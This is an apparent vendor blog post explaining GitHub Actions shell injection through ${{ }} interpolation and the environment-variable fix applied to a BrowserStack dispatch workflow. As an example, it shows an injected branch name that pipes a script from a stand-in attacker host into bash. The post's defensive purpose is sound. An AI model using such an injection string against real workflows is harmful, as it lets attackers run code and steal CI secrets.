Back to Blog
critical SEVERITY7 min read

GitHub Actions Shell Injection: How ${{ }} Variables Can Compromise Your CI/CD Pipeline

A critical shell injection vulnerability was discovered and patched in a GitHub Actions workflow file, where direct use of `${{...}}` variable interpolation with GitHub context data in `run:` steps could allow attackers to inject malicious code into CI/CD runners. This type of vulnerability can expose secrets, credentials, and source code to bad actors. The fix involves routing untrusted input through intermediate environment variables — a simple but powerful mitigation that every developer usin

O
By orbisai0security
April 20, 2026
#github-actions#shell-injection#cicd-security#devops#supply-chain-security#yaml-security#workflow-hardening

GitHub Actions Shell Injection: How ${{ }} Variables Can Compromise Your CI/CD Pipeline

Introduction

CI/CD pipelines are the beating heart of modern software delivery. They build, test, and deploy your code — and they often have access to your most sensitive secrets: API keys, cloud credentials, signing certificates, and deployment tokens. That makes them a high-value target for attackers.

One of the most subtle and dangerous vulnerabilities in GitHub Actions workflows is shell injection via variable interpolation. It doesn't require a sophisticated exploit. It doesn't need a zero-day. In many cases, all it takes is a carefully crafted pull request title, branch name, or issue comment — and an attacker can execute arbitrary code inside your CI runner.

This post breaks down exactly how this vulnerability works, why it was dangerous in the patched workflow, and what every developer should do to protect their pipelines.


The Vulnerability Explained

What Is GitHub Actions Shell Injection?

GitHub Actions workflows can be triggered by many events — pull requests, issue comments, workflow dispatches, and more. These events carry context data accessible via the github object (e.g., github.event.pull_request.title, github.actor, github.event.inputs.branch).

The problem arises when developers use ${{ }} interpolation to embed this context data directly inside a run: shell script:

# ⚠️ VULNERABLE PATTERN
- name: Run tests
  run: |
    echo "Running for branch: ${{ github.event.inputs.branch }}"
    ./scripts/run-tests.sh ${{ github.event.inputs.branch }}

Here's the critical insight: ${{ }} expressions are evaluated and substituted before the shell ever sees the script. GitHub Actions performs a simple text substitution. If the value of github.event.inputs.branch contains shell metacharacters or commands, they become part of the shell script itself.

How Could It Be Exploited?

Consider what happens if an attacker (or a contributor with write access to a fork) supplies this as the branch name in a workflow dispatch:

main; curl -s https://attacker.com/exfil.sh | bash

After interpolation, the run: block becomes:

echo "Running for branch: main; curl -s https://attacker.com/exfil.sh | bash"
./scripts/run-tests.sh main; curl -s https://attacker.com/exfil.sh | bash

The shell dutifully executes the injected command. The attacker's script now runs inside your CI environment — with full access to:

  • Repository secrets (exposed as environment variables)
  • GitHub tokens (the GITHUB_TOKEN with repo permissions)
  • Cloud provider credentials (AWS, GCP, Azure keys)
  • Source code and build artifacts
  • Internal network resources accessible from the runner

The Specific Vulnerability in This PR

The vulnerability was found in .github/workflows/browserstack-dispatch.yml at line 65, where ${{ }} interpolation was used with github context data inside a run: step. The Semgrep scanner flagged this with rule yaml.github-actions.security.run-shell-injection.run-shell-injection.

BrowserStack dispatch workflows often accept external inputs (like device names, test configurations, or branch names) that could be influenced by untrusted parties — making this a realistic attack surface.

Real-World Impact

This isn't theoretical. Shell injection in GitHub Actions has been exploited in the wild:

  • Codecov breach (2021): Attackers modified a CI script to exfiltrate environment variables containing secrets from thousands of projects.
  • Dependency confusion attacks: Malicious packages have been designed to exploit CI environments when installed during build steps.
  • Crypto-mining campaigns: Compromised CI runners are frequently used for unauthorized compute resources.

The CVSS classification for this type of vulnerability typically falls in the HIGH to CRITICAL range due to the potential for complete secret exfiltration and pipeline takeover.


The Fix

The Solution: Intermediate Environment Variables

The fix is elegantly simple. Instead of interpolating ${{ }} directly into the shell script, you first assign the value to an environment variable using the env: block, then reference that environment variable in the script.

Before (Vulnerable):

- name: Trigger BrowserStack tests
  run: |
    echo "Dispatching for: ${{ github.event.inputs.branch }}"
    curl -X POST \
      -H "Authorization: Bearer ${{ secrets.BROWSERSTACK_TOKEN }}" \
      "https://api.browserstack.com/automate/builds/${{ github.event.inputs.build_id }}"

After (Fixed):

- name: Trigger BrowserStack tests
  env:
    BRANCH_NAME: ${{ github.event.inputs.branch }}
    BUILD_ID: ${{ github.event.inputs.build_id }}
    BROWSERSTACK_TOKEN: ${{ secrets.BROWSERSTACK_TOKEN }}
  run: |
    echo "Dispatching for: $BRANCH_NAME"
    curl -X POST \
      -H "Authorization: Bearer $BROWSERSTACK_TOKEN" \
      "https://api.browserstack.com/automate/builds/$BUILD_ID"

Why Does This Fix Work?

The key difference is when and how substitution happens:

Approach Substitution Timing Shell Sees
${{ github.event.inputs.branch }} in run: Before shell execution (template substitution) Raw injected value as code
env: + $ENV_VAR in run: After shell parses the script Value as a data string

When you use env: to assign the value and then reference $ENV_VAR in the shell, the shell treats the variable's content as data, not as code. Even if the value contains semicolons, backticks, or subshell syntax, the shell won't execute it — it's just a string.

The double-quoting ("$BRANCH_NAME") is also important: it prevents word splitting and glob expansion, ensuring the value is treated as a single argument even if it contains spaces.

Additional Hardening in the Fix

Best-practice fixes also include:

- name: Trigger BrowserStack tests
  env:
    BRANCH_NAME: ${{ github.event.inputs.branch }}
  run: |
    # Validate input before use (defense in depth)
    if [[ ! "$BRANCH_NAME" =~ ^[a-zA-Z0-9/_.-]+$ ]]; then
      echo "Invalid branch name format"
      exit 1
    fi
    echo "Dispatching for: $BRANCH_NAME"

Input validation as a second layer ensures that even if the environment variable approach were somehow bypassed, only expected characters are accepted.


Prevention & Best Practices

1. Never Use ${{ }} Directly in run: Scripts

Treat all github context values as untrusted user input. The following contexts are particularly dangerous:

github.event.pull_request.title
github.event.pull_request.body
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.inputs.*
github.head_ref
github.actor

Always route these through env: variables.

2. Use GitHub's Official Guidance

GitHub's own security documentation states:

"We recommend that you avoid using ${{ }} with contexts that contain untrusted user input. Instead, use an intermediate environment variable."

Reference: GitHub Docs — Security hardening for GitHub Actions

3. Adopt Static Analysis in Your Pipeline

Add security scanning for your workflow files. Tools that catch this vulnerability include:

  • Semgrep — The scanner that caught this vulnerability, with rules specifically for GitHub Actions injection
  • actionlint — A static checker for GitHub Actions workflow files
  • Zizmor — Focused specifically on GitHub Actions security issues
  • StepSecurity Harden-Runner — Runtime monitoring for GitHub Actions
# Add this to your own workflows to scan for issues
- name: Scan workflows with actionlint
  uses: raven-actions/actionlint@v1

4. Apply Least-Privilege Permissions

Even if injection occurs, limiting the GITHUB_TOKEN permissions reduces blast radius:

permissions:
  contents: read        # Only what you need
  pull-requests: write  # Only if required
  # Avoid: write-all

5. Pin Action Versions to Full Commit SHAs

Prevent supply chain attacks through compromised action versions:

# ⚠️ Vulnerable to tag hijacking
- uses: actions/checkout@v4

# ✅ Pinned to immutable commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

6. Relevant Security Standards

This vulnerability maps to several well-known security frameworks:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
  • CWE-77: Improper Neutralization of Special Elements used in a Command
  • OWASP Top 10 A03:2021: Injection
  • SLSA (Supply Chain Levels for Software Artifacts): Addresses pipeline integrity requirements

A Note on the Broader Context

The vulnerability report also mentions a separate concern about OAuth tokens stored in plaintext on the local filesystem (in plugins/auth-oauth2/src/store.ts). While this PR specifically addresses the GitHub Actions shell injection issue, the credential storage problem is a reminder that secrets require protection at every layer:

  • In transit (TLS)
  • At rest (encryption, e.g., using PBKDF2 or platform keychains)
  • In CI/CD pipelines (proper secret management, not interpolation into scripts)

Security is a holistic practice — fixing one vector while ignoring others leaves you partially exposed.


Conclusion

GitHub Actions shell injection is one of those vulnerabilities that looks harmless at first glance — it's just a workflow file, right? But CI/CD pipelines are privileged environments. They hold your secrets, they have network access, and they run code automatically in response to external events.

The key takeaways from this fix:

  1. ${{ }} in run: blocks is a code injection risk when used with untrusted context data
  2. The fix is simple: use env: to assign values, then reference them as $ENV_VAR in your scripts
  3. Always double-quote environment variables: "$ENV_VAR"
  4. Validate inputs as a defense-in-depth measure
  5. Use static analysis tools like Semgrep and actionlint to catch these issues automatically

A one-line change in a YAML file can be the difference between a secure pipeline and a complete secrets breach. Take the time to audit your workflows — your production environment will thank you.


Found a security issue in your codebase? Automated security scanning tools can help identify and fix vulnerabilities like this one before they reach production. Check out OrbisAI Security for automated security remediation.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5818

Related Articles

critical

Stack Buffer Overflow in MapScale: How Five Unsafe sprintf Calls Created a Critical Vulnerability

A critical stack-based buffer overflow vulnerability was discovered and patched in `src/mapscale.c`, where five unbounded `sprintf` calls wrote formatted output into fixed-size stack buffers without any bounds checking. An attacker controlling unit text strings could overflow the stack buffer, potentially overwriting the function return address and achieving arbitrary code execution. The fix replaces dangerous `sprintf` calls with their bounds-checked counterparts, eliminating the overflow risk

critical

Heap Buffer Overflows in YAML Parser: How Unchecked memcpy Calls Create Critical Attack Vectors

A critical heap buffer overflow vulnerability was discovered and patched in the YAML parser embedded within an Android VPN application, where five unvalidated `memcpy` calls could allow an attacker to corrupt heap memory by supplying a crafted YAML configuration file. This class of vulnerability is particularly dangerous because it can lead to arbitrary code execution or application crashes in security-sensitive contexts. The fix adds proper bounds validation before each copy operation, eliminat

critical

Critical Buffer Overflow Fixed: When "Safe" Functions Aren't Safe

A critical vulnerability in DeepSkyStackerKernel's StackWalker.cpp was silently replacing bounds-checking string functions with their unsafe counterparts via preprocessor macros, exposing the entire codebase to buffer overflow attacks. This fix removes the dangerous macro definitions that discarded buffer size arguments, restoring the intended memory safety protections across all call sites. Understanding how this subtle macro trick works is essential for any C/C++ developer working with string